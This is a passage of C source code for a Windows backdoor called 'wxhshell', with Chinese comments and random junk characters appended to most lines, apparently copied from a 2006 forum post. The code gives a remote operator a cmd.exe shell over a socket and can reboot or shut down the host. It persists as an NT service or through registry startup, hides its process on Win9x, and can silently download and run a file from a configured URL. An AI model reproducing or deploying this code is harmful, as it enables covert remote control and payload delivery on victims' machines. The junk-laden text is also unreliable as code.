      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q!9SANTx  
    break; R y0n_J:7  
  } zrG&p Z  
  // 安装 _Y*]'?g`  
  case 'i': { Q5/".x^@  
    if(Install()) 5B@+$D[0?3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4?,N;Q  
    else +=^10D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a4L8MgF&$-  
    break; $v+Q~\'  
    } N'!a{rF  
  // 卸载 `(EY/EsY  
  case 'r': { =\?KC)F*e  
    if(Uninstall()) BD9W-mF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {(A Ys*5  
    else 'ac %]}`-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lu6!W  
    break; 5R/!e`(m  
    } k 0z2)3L  
  // 显示 wxhshell 所在路径 x(&o=Pu  
  case 'p': { ZPY#<^WOzr  
    char svExeFile[MAX_PATH]; _CBG?  
    strcpy(svExeFile,"\n\r"); p0UR5A>p  
      strcat(svExeFile,ExeFile); Edc<  8-  
        send(wsh,svExeFile,strlen(svExeFile),0);  J O`S  
    break; Lt.a@\J'_  
    } jX!,xS%(  
  // 重启 ,D3?N2mB  
  case 'b': { iXMs*G cK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,l#Ev{  
    if(Boot(REBOOT)) G0|j3y9$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); try'%0}>  
    else { m49GCo k+  
    closesocket(wsh); `\P#TBM  
    ExitThread(0); ?A;x%8}  
    } ksT2_Ic  
    break; 1p<m>s=D=e  
    } Tz]t.]!&E  
  // 关机 yNP M-  
  case 'd': { Z~ VOO7|m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tpO%)*  
    if(Boot(SHUTDOWN)) dQQh$*IL?{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2Z-NVU#  
    else { VlXUrJ9&  
    closesocket(wsh); fa;\4#  
    ExitThread(0); t{| KL<d]  
    } 7 /w)^&8  
    break; c=K . |g,  
    } [84ss;.$  
  // 获取shell MJd!J ]E6  
  case 's': { UYn5Pix  
    CmdShell(wsh); %Iw6oG  
    closesocket(wsh); oQ1>*[e<u  
    ExitThread(0); KyK%2:  
    break; K>Dn#"{Y  
  } x}$SB%9/  
  // 退出 V6B`q;lA  
  case 'x': { j]#qq]c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'z8?_{$   
    CloseIt(wsh); bf|s=,D  
    break; Stq&^S\x69  
    } qR/~a  
  // 离开 J wL}|o6  
  case 'q': { GSIRZJl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oW3j|V  
    closesocket(wsh); I{U7BZy  
    WSACleanup(); m-4P*P$X  
    exit(1); kHygif !I4  
    break; FCnOvF65  
        } $8vZiB!"  
  } nj$TdwZbK  
  } Kur3Gf X  
]KdSwIbi  
  // 提示信息 iqm]sC`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VPoA,;Y"-  
} @&p:J0hbp  
  } awkPFA*c'  
,$s NfW  
  return; E1IT>_  
} \ :To\6\Ri  
.R'<v^H  
// shell模块句柄 ,RjE?M%  
int CmdShell(SOCKET sock) )voJq\Y)%  
{ !_C*2+f  
STARTUPINFO si; RC'4%++Nz  
ZeroMemory(&si,sizeof(si)); 2wLnRP`*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /j46`F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]r|sU.Vl  
PROCESS_INFORMATION ProcessInfo; Z;Q2tT /F  
char cmdline[]="cmd"; _ p%=RIR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uF,F<%d  
  return 0; "159Q  
} |LhVANz  
#t N9#w[K{  
// 自身启动模式 Z OJ<^t}  
int StartFromService(void) j5\z7  
{ x7\b-EC  
typedef struct 3,`I\>No  
{ vZMb/}-o  
  DWORD ExitStatus; ;Z^\$v9?  
  DWORD PebBaseAddress; N~H!6N W  
  DWORD AffinityMask; B' }h6ZH  
  DWORD BasePriority; UMtnb:ek  
  ULONG UniqueProcessId;  ac  
  ULONG InheritedFromUniqueProcessId; 8J|2b; Vf  
}   PROCESS_BASIC_INFORMATION; Nz/PAs7g6  
JBqL0H  
PROCNTQSIP NtQueryInformationProcess; Qw>~] d,Z  
c12mT(+-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NxY B)`~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %8Eu{3  
@^P<(%p  
  HANDLE             hProcess; S 7pf QF  
  PROCESS_BASIC_INFORMATION pbi; 8Of.n7{  
vH1IVF"DS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^UU@7cSi|G  
  if(NULL == hInst ) return 0; 3.?G,%S5.$  
`/ <y0H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sc b'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mIW8K ):  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X~UrAG}_  
eX`wQoV%  
  if (!NtQueryInformationProcess) return 0; ^wass_8  
qwhDv+o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >EE}P|=-  
  if(!hProcess) return 0; M./1.k&@  
/{6&99SJcc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &t)$5\r  
jVlXB6[-  
  CloseHandle(hProcess); ,~Y[XazT  
>]{{5oOQ>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /(oxK>*F  
if(hProcess==NULL) return 0; K;8{qQ*  
<C1w?d$9I  
HMODULE hMod; edai2O  
char procName[255]; wjtFZGx&  
unsigned long cbNeeded; uNKf!\Y  
J497 >w[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hMCf| e.UY  
#W$6[#7=I  
  CloseHandle(hProcess); d+45Y,|  
6~34L{u  
if(strstr(procName,"services")) return 1; // 以服务启动 d+qeZGg^A  
Xsk/U++  
  return 0; // 注册表启动 `. i #3P  
} (N"9C+S}  
953GmNZ7  
// 主模块 vzX%x ul  
int StartWxhshell(LPSTR lpCmdLine) &s#OiF8  
{ mUan(iJ  
  SOCKET wsl; *""iXi[  
BOOL val=TRUE; hKVb#|$  
  int port=0; Cl6P,C  
  struct sockaddr_in door; `y3*\l  
}A}cq!I^  
  if(wscfg.ws_autoins) Install(); :>C D;  
*epK17i=  
port=atoi(lpCmdLine); LbkQuq/d  
U| T}0  
if(port<=0) port=wscfg.ws_port; Sq ]VtQ(  
8q]_> X  
  WSADATA data; ^*G UcQ$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Prc (  
5Vc~yMz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .Te GA;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Skl:~'W.&|  
  door.sin_family = AF_INET; b{BiC&3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V= g u'~  
  door.sin_port = htons(port); (}RTHpD  
dvE~EZcS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 42f\]R,  
closesocket(wsl); T O&^%d  
return 1; |F4)&xN\  
} !_q=r[D\  
<<DPer2  
  if(listen(wsl,2) == INVALID_SOCKET) { }0[<xo>K  
closesocket(wsl); %0 p9\I  
return 1; `*o ko[\3  
} (fYYcpd,k  
  Wxhshell(wsl); q*K[?  
  WSACleanup(); ,\ -4X  
U:AB%gr[  
return 0; TH"<6*f2L  
u g_c}Nv=Y  
} i,zZJ=a$  
a8YFH$Xh  
// 以NT服务方式启动 CZ!gu Y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) naiQ$uq0  
{ m2%n:  
DWORD   status = 0; %!7A" >ai  
  DWORD   specificError = 0xfffffff; ^S`N\X  
zh{I;~syh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (M?VB*sm0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ov5g`uud  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )gx*;z@  
  serviceStatus.dwWin32ExitCode     = 0; t*`G@Nj  
  serviceStatus.dwServiceSpecificExitCode = 0; )EK\3q  
  serviceStatus.dwCheckPoint       = 0; UGxF}Q  
  serviceStatus.dwWaitHint       = 0; %CZGV7JdA  
IL,iu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 33ZHrZ  
  if (hServiceStatusHandle==0) return; Jt:)(&-t   
>E7s}bL"  
status = GetLastError(); 4j}.=u*X7  
  if (status!=NO_ERROR) @X2zIFm  
{ ?AVnv(_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bN&DotG  
    serviceStatus.dwCheckPoint       = 0; :*vSC:q  
    serviceStatus.dwWaitHint       = 0; _}gfec4o  
    serviceStatus.dwWin32ExitCode     = status; e#vGrLs.  
    serviceStatus.dwServiceSpecificExitCode = specificError; }Ui)xi:8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z%]3`_I  
    return; v8 II=9  
  } </B:Zjn  
%EYh*g{G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gW?Hd/  
  serviceStatus.dwCheckPoint       = 0; sC ?e%B  
  serviceStatus.dwWaitHint       = 0; sY[!=`@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ax 4R$P.]u  
} T-\q3X|y/  
v+i==vxg  
// 处理NT服务事件,比如:启动、停止 ?k=)T]-}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g2vt(Gf;  
{ 7CCSG{k  
switch(fdwControl) pf#R]  
{ Abpzf\F  
case SERVICE_CONTROL_STOP: kaRjv   
  serviceStatus.dwWin32ExitCode = 0; *c( J4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s]HJcgI  
  serviceStatus.dwCheckPoint   = 0; Gx|/ Jq  
  serviceStatus.dwWaitHint     = 0; #4AqWyp#f  
  { r!^VCA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?'>[n m  
  } <J]N E|:  
  return; ,!^g8zO  
case SERVICE_CONTROL_PAUSE: MIu'OJ"z~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bWZ oGFT  
  break; u$ vLwJ|o  
case SERVICE_CONTROL_CONTINUE: :4>LtfA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SbobXTbG  
  break; Wt=%.Y( x  
case SERVICE_CONTROL_INTERROGATE: SwO8d;e  
  break; J=H8^4M  
}; ()fYhk|W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ?QcS$i  
} z-|d/#h  
2{G7ignv  
// 标准应用程序主函数 aw3rTT(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R_IT${O  
{ wh3Wuh?x  
t?p>L*  
// 获取操作系统版本 v){X&HbP  
OsIsNt=GetOsVer(); r2&/Ii+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RRtOBrIedI  
km}E&ao  
  // 从命令行安装 CbMClnF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5(DnE?}vo  
rD>q/,X=\  
  // 下载执行文件 /b{Ufo3v  
if(wscfg.ws_downexe) { i;67< f}-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =I$:-[(  
  WinExec(wscfg.ws_filenam,SW_HIDE); j2|UuWU  
} Iy2AJ|d.  
?osYs<k \  
if(!OsIsNt) { 'fIG$tr9X  
// 如果时win9x,隐藏进程并且设置为注册表启动 =/N0^  
HideProc(); =Q8$O 2TW  
StartWxhshell(lpCmdLine); YY$O"!."  
} hw&~OJeo  
else Zk # C!]=  
  if(StartFromService()) } ejc  
  // 以服务方式启动 af/;Dr@  
  StartServiceCtrlDispatcher(DispatchTable); ?nozB|*>ut  
else !_:|mu'  
  // 普通方式启动 +s5Yg,4*  
  StartWxhshell(lpCmdLine); Z.0mX#  
zQtx!k=  
return 0; peU1 t:k?  
}
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只看该作者 1 发表于: 2006-10-10
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